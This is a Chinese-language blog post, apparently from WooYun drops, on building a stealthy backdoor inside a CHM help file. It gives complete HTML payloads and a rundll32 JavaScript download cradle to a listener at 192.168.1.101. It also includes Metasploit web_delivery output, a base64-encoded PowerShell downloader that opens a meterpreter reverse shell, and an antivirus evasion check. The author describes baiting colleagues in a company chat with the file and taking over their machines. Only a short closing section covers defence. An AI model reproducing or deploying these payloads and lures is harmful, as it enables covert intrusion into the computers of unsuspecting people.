高階組合技打造“完美” 捆綁後門
0x00 簡介
之前寫過一篇關於客戶端釣魚的文章:《使用powershell Client進行有效釣魚》中,在使用各個Client進行測試的過程中,個人發現CHM檔案是最好用的一個,但是其缺點就是會彈黑框,這樣就會讓被攻擊者察覺。那麼怎麼讓他不彈黑框呢?那就是本文要介紹的內容啦~
0x01 CHM 簡介
在介紹怎麼使用CHM來作為後門之前,首先要知道CMH是什麼東西。
CHM(Compiled Help Manual)即“已編譯的幫助檔案”。它是微軟新一代的幫助檔案格式,利用HTML作源文,把幫助內容以類似資料庫的形式編譯儲存。CHM支援Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見圖形檔案(GIF、JPEG、PNG)、音訊影片檔案(MID、WAV、AVI)等等,並可以透過URL與Internet聯絡在一起。因為使用方便,形式多樣也被採用作為電子書的格式。
0x02 CHM 製作
CHM的製作方法很多。有多款工具可以使用,這裡就不在做詳細的介紹了。本次測試使用了EasyCHM來製作CHM檔案,使用起來非常簡單。
新建如下目錄,檔案內容隨意:
開啟EasyCHM,新建->瀏覽。選擇該目錄。預設檔案型別:
點選確認,即可看到預覽的CHM檔案:
選擇編譯,即可編譯成CHM檔案。
0x03 CHM Execute Command
[email protected] 在twitter上發了一個demo,透過CHM執行計算器:
利用程式碼如下:
#!html
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
將以上程式碼寫入html,置於工程目錄進行編譯,生成CHM檔案,執行此檔案,彈出計算器:
0x04 去除彈框
有測試過nishang Out-CHM 的同學會發現,執行生成的CHM檔案的時候會看到明顯的彈框。就像這樣:
某個晚上突然腦洞了一下,想到了一個好的方式來讓他不顯示彈框,即結合使用JavaScript Backdoor。經過測試,成功實現在不彈框的情況下獲取meterpreter會話,此次測試使用一個我修改過的python版 JSRat.ps1 ,地址為:MyJSRat。使用方式詳見 readme。
以下為完整的測試過程:
1、結合CHM + JSBackdoor
使用互動模式的JSRat server:
#!bash
python MyJSRat.py -i 192.168.1.101 -p 8080
訪問 http://192.168.1.101:8080/wtf 獲取攻擊程式碼如下:
#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
經過多次測試,成功將以上命令寫入chm,其Html程式碼為:
#!html
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
編譯以後執行,可以成功獲取JS互動shell:
直接執行
cmd /c command
是會有黑框的,可以使用run來避免顯示黑框。執行run以後,輸入whoami > e:\1.txt
之後透過read 來獲取回顯。
2、獲取meterpreter會話
此次測試獲取meterpreter會話的方式是透過執行powershell命令,直接獲取,當獲取客戶端JS 互動shell之後自動執行powershell命令,獲取meterpreter會話。具體操作如下:
開啟MSF web_delivery:
#!bash
~ msfconsole -Lq
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8081
SRVPORT => 8081
msf exploit(web_delivery) > set uripath /
uripath => /
msf exploit(web_delivery) > exploit
[*] Exploit running as background job.
msf exploit(web_delivery) >
[*] Started reverse TCP handler on 192.168.1.101:6666
[*] Using URL: http://0.0.0.0:8081/
[*] Local IP: http://192.168.1.101:8081/
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
裝有powershell的客戶端執行以下命令則可獲取meterpreter會話:
#!bash
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
由於存在特殊字元,我們可以把以上程式碼編碼為base64格式,將以下程式碼存入power.txt
#!bash
$n=new-object net.webclient;
$n.proxy=[Net.WebRequest]::GetSystemWebProxy();
$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $n.downloadstring('http://192.168.1.101:8081/');
執行以下命令:
#!bash
cat power.txt | iconv --to-code UTF-16LE |base64
最終要執行的powershell命令為:
#!bash
powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
使用執行命令模式直接獲取meterpreter會話:
#!bash
python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
測試過程中,從執行CHM到獲取meterpreter,客戶端無明顯異常,全程無黑框彈出,獲取到meterpreter會話如下圖:
3、是否被殺?
可能很多人會問,會不會被殺,下面是virscan的查殺結果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
0x05 利用場景
一張圖說明(讓我猜猜你會不會點):
注: 隨便找了幾個漏洞利用工具修改了檔名,並不代表原作者分享的工具有問題。
0x06 實際測試
是用上述方式製作chm檔案,命名為一個比較有吸引力的名字,比如在公司技術群發了一個名字為"製作免殺後門.chm"的檔案,實際測試結果如下圖:
成功獲取多個人的meterpreter會話。
0x07 防禦
目前我還沒查到什麼防禦的姿勢,知道的小夥伴可以分享一下。最好就是提高個人安全意識,對於這類檔案,多注意一下,儘量別亂點,如果非要點,可以放到虛擬機器裡面。使用procexp.exe可以看到存在後門的chm檔案會開啟新的程式:
對於碰到這種後門,怎麼溯源呢,其實也很簡單,chm是可以反編譯為html的。 使用windows自帶的hh.exe 則可進行反編譯。命令如下:
#!bash
C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 為當前目錄的test資料夾
執行結果如下:
0x08 小結
此次測試就是對一些已知的攻擊手法進行結合,結果是讓此捆綁後門更加隱蔽,近乎“完美”,美中不足的是在檔案開啟的時候會出現短暫的卡頓。有時候小漏洞結合起來能造成大危害,小手法結合起來也能成大殺器。本著分享的精神將此姿勢介紹,希望小夥伴們能免受其害。
0x09 參考
- https://twitter.com/ithurricanept/status/534993743196090368
- https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
- /tips/?id=11764
- https://github.com/samratashok/nishang
本文由evi1cg原創並首發於烏雲drops,轉載請註明
相關文章
- js module bundle 模組捆綁2018-09-20JS
- 如何使用Hadoop捆綁的低階工具進行資料提取?2018-10-19Hadoop
- 超頻再無壓力!新版AMD銳龍處理器捆綁高階Wraith Max散熱器2019-03-12AI
- 火山PC捆綁式動態建立教程2020-12-14
- win10怎麼阻止捆綁安裝軟體_win10禁止自動安裝捆綁軟體的步驟2020-06-10Win10
- BT客戶端BitLord被發現捆綁間諜軟體2019-07-30客戶端
- QuarkXPress 2023:創意與技術的完美結合,打造卓越版面設計2023-12-21
- 業餘草 2018 技術文章合集整理,適合入門、中級、高階、架構師進階2019-02-27架構
- 完美!位元組高階工程師熬夜梳理的2020版Java成神之路指南2020-10-27工程師Java
- 瑞星對Windows7捆綁防毒軟體等訊息的回應2019-05-12Windows防毒
- 高階自定義View — 粒子變幻、隧道雜湊、組合文字2019-02-26View
- 【模組三】Python高階2024-07-06Python
- Python模組高階技巧2019-02-24Python
- 遊戲私服捆綁傳播挖礦木馬,已感染超5000臺電腦2020-05-21遊戲
- 用不勝其煩的update,將Windows使用者捆綁上未來戰車2019-06-21Windows
- 前後端黃金組合:Django+Vue+Element UI,助你構建完美平臺!2023-11-20後端DjangoVueUI
- 生活成本危機正在挑戰捆綁式電視、寬頻的協同效應2023-01-04
- 驅動總裁是流氓軟體嗎 驅動總裁有捆綁軟體嗎2022-05-06
- [譯]《Smashing》: 用 CSS 形狀打造高階排版2019-02-27CSS
- RAPID:近200萬英國家庭考慮終止寬頻和電視捆綁服務2020-09-04API
- 蘋果將推出Apple One,捆綁銷售含Apple Arcade在內的數字服務2020-08-17蘋果APP
- 迴圈高階綜合練習2024-03-03
- 第二階段複習——組合2024-07-13
- 現代 CSS 高階技巧,完美的波浪進度條效果!2022-12-14CSS
- 完美日記踏上IPO:高階品牌依舊是道檻2020-11-09
- 七、Spring MVC高階技術2020-05-31SpringMVC
- 垃圾郵件捆綁分發 XTRAT、Loki 多款惡意程式,美日澳等國受災嚴重2018-04-24Loki
- .NET 入門到高階路線2023-02-01
- JavaScript 高階函式快速入門2019-03-20JavaScript函式
- AI 和 DevOps:實現高效軟體交付的完美組合2024-01-16AIdev
- Pandas高階教程之:Dataframe的合併2021-06-14
- 網際網路電視捆綁套餐服務的未來?Frontier利用YouTube TV提供影片服務2023-04-14
- 央視315曝光軟體捆綁問題:必須打擊違規軟體下載網站2022-03-17網站
- Asp.Net Mvc ScriptBundle 指令碼檔案捆綁壓縮 導致 指令碼出錯的問題2018-07-16ASP.NETMVC指令碼
- 打造完美編輯器--VS code2019-03-13
- springCloud+docker從入門到高階2020-10-13SpringGCCloudDocker
- postgresql高階應用之合併單元格2021-05-07SQL
- WebinarNinja --高階後端工程師 PHP/Laravel2020-05-26Web後端工程師PHPLaravel